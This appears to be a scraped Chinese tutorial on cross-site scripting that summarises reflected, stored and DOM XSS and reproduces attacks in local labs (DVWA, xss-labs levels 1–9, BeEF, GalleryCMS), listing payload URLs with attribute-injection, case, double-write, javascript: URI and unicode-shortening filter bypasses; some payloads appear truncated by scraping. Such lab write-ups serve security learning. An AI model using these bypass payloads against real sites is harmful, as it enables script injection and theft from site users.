XSS漏洞总结和漏洞复现

您所在的位置:网站首页 xss漏洞利用 XSS漏洞总结和漏洞复现

XSS漏洞总结和漏洞复现

2023-10-16 01:37| 来源: 网络整理| 查看: 265

XSS漏洞总结和漏洞复现 XSS漏洞概述:类型一:反射型类型二:存储型类型三:DOM型 复现20字符短域名绕过一、安装BEEF1、在Kali中运行apt install beef-xss2、运行beef3、在浏览器访问 二、安装galleryCMS*遇到一点小问题提示"last_ip"不能为空解决方法:cmd进入数据库,添加"last_ip"字段,手动插入数据 刷新后登录成功进入 三、开始复现1、创建一个栏目2、准备绕过3、缩短域名(域名跳转or重定向国内需要备案)+unicode三合一

XSS漏洞概述:

跨站脚本攻击XSS(Cross Site Scripting),为区别层叠样式表(Cascading Style Sheets, CSS),所以改写为XSS

类型一:反射型

特点: 1、非持久型,不保存到正常服务器的数据库中 2、反射型XSS的被攻击对象是特定的,使用含有反射型XSS的特制URL 案例一:

http://127.0.0.1/DVWA-master/vulnerabilities/xss_r/?name=

在这里插入图片描述

类型二:存储型

特点: 1、持久型,攻击脚本将被永久地存放在目标服务器的数据库或文件中,具有很高的隐蔽性 2、存储型XSS非特定攻击用户,攻击者将存储型XSS代码写进有XSS漏洞的网站上后,只要有用户访问这个链接就会被攻击

类型三:DOM型

特点: 反射型xss和存储型xss会与后台交互,DOM型xss的实现过程都是在前台

DOM(Document Object Model),是一种文档对象模型,DOM通常用于代表在HTML、XHTML和XML中的对象,使用DOM可以允许程序和脚本动态地访问和更新文档的内容、结构和样式,本质就是一种树状的模型。 DOM型XSS是基于DOM文档对象模型的一种漏洞,所以受客户端浏览器的脚本代码所影响,而不是想前面两种会与服务器交互(不是解析,是交互)。 DOM型XSS是取决于输出的位置,并不取决于输出环境,因此也可以说DOM型XSS既有可能是反射型的,也有可能是存储型的,就是说它的输出点是在DOM位置上。 1、 案例一:

http://127.0.0.1/DVWA-master/vulnerabilities/xss_d/?default=alert(1)

在这里插入图片描述 案例二:

http://127.0.0.1/xsslabs/level1.php?name=hujincheng

在这里插入图片描述

http://127.0.0.1/xsslabs/level1.php?name= 或者 http://127.0.0.1/xsslabs/level1.php?name=alert(1)

在这里插入图片描述

复现20字符短域名绕过 一、安装BEEF 1、在Kali中运行apt install beef-xss apt install beef-xss 2、运行beef beef-xss 3、在浏览器访问 http://10.1.1.13:3000/ui/panel 二、安装galleryCMS *遇到一点小问题

1、未创建数据库 在这里插入图片描述 解决方法:手动创建

mysql> create database gallerycms; Query OK, 1 row affected (0.00 sec)

2、点击注册后弹出错误提示 在这里插入图片描述 在这里插入图片描述

Error Number: 1364 Field 'last_ip' doesn't have a default value INSERT INTO `user` (`email_address`, `password`, `is_active`, `is_admin`, `created_at`, `uuid`, `updated_at`) VALUES ('[email protected]', 'd033e22ae348aeb5660fc2140aec35850c4da997', 1, 1, '2022-07-28 16:25:01', 'c6631386-0e4e-11ed-97c4-0a002700000c', '2022-07-28 16:25:01') Filename: D:\phpstudy_pro\WWW\GalleryCMS-2.0\system\database\DB_driver.php Line Number: 330 提示"last_ip"不能为空 解决方法:cmd进入数据库,添加"last_ip"字段,手动插入数据 mysql> use gallerycms; Database changed mysql> INSERT INTO `user` (`email_address`, `password`, `is_active`, `is_admin`, `created_at`, `uuid`, `updated_at`,`last_ip`) VALUES ('[email protected]', 'd033e22ae348aeb5660fc2140aec35850c4da997', 1, 1, '2022-07-28 16:33:16', 'ed87d8bb-0e4f-11ed-97c4-0a002700000c', '2022-07-28 16:33:16','127.0.0.1'); Query OK, 1 row affected (0.00 sec) 刷新后登录成功进入

在这里插入图片描述

三、开始复现 1、创建一个栏目

在这里插入图片描述

2、准备绕过

标签过长,使用标签,但也不够

3、缩短域名(域名跳转or重定向国内需要备案)+unicode三合一

三合一

℠ expands to sm ㏛ expands to sr st expands to st ㎭ expands to rad ℡ expands to tel

绕过 1级

http://127.0.0.1/xsslabs/level1.php?name=alert(1)

在这里插入图片描述

2级

http://127.0.0.1/xsslabs/level2.php?keyword=1"onclick="alert(1)

在这里插入图片描述 3级

http://127.0.0.1/xsslabs/level3.php?keyword=1'onclick='alert(1)

在这里插入图片描述 4级

http://127.0.0.1/xsslabs/level4.php?keyword=1"onclick="alert(1)

在这里插入图片描述 5级

http://127.0.0.1/xsslabs/level5.php?keyword=1">11111

在这里插入图片描述 6级

大小写未过滤【HTML不区分大小写,HTML->JavaScript生效】 http://127.0.0.1/xsslabs/level6.php?keyword=1"Onclick="alert(1)

在这里插入图片描述 7级

【双写过滤处】 http://127.0.0.1/xsslabs/level7.php?keyword=1"oonnclick="alert(1)

在这里插入图片描述 8级将字符转为ascll码

javascript:alert('1') javascript:alert('1')

在这里插入图片描述 9级跳过过滤(将编码转换ascll)

javascript>>>>>javascript:alert('1')

在这里插入图片描述



【本文地址】


今日新闻


推荐新闻


CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3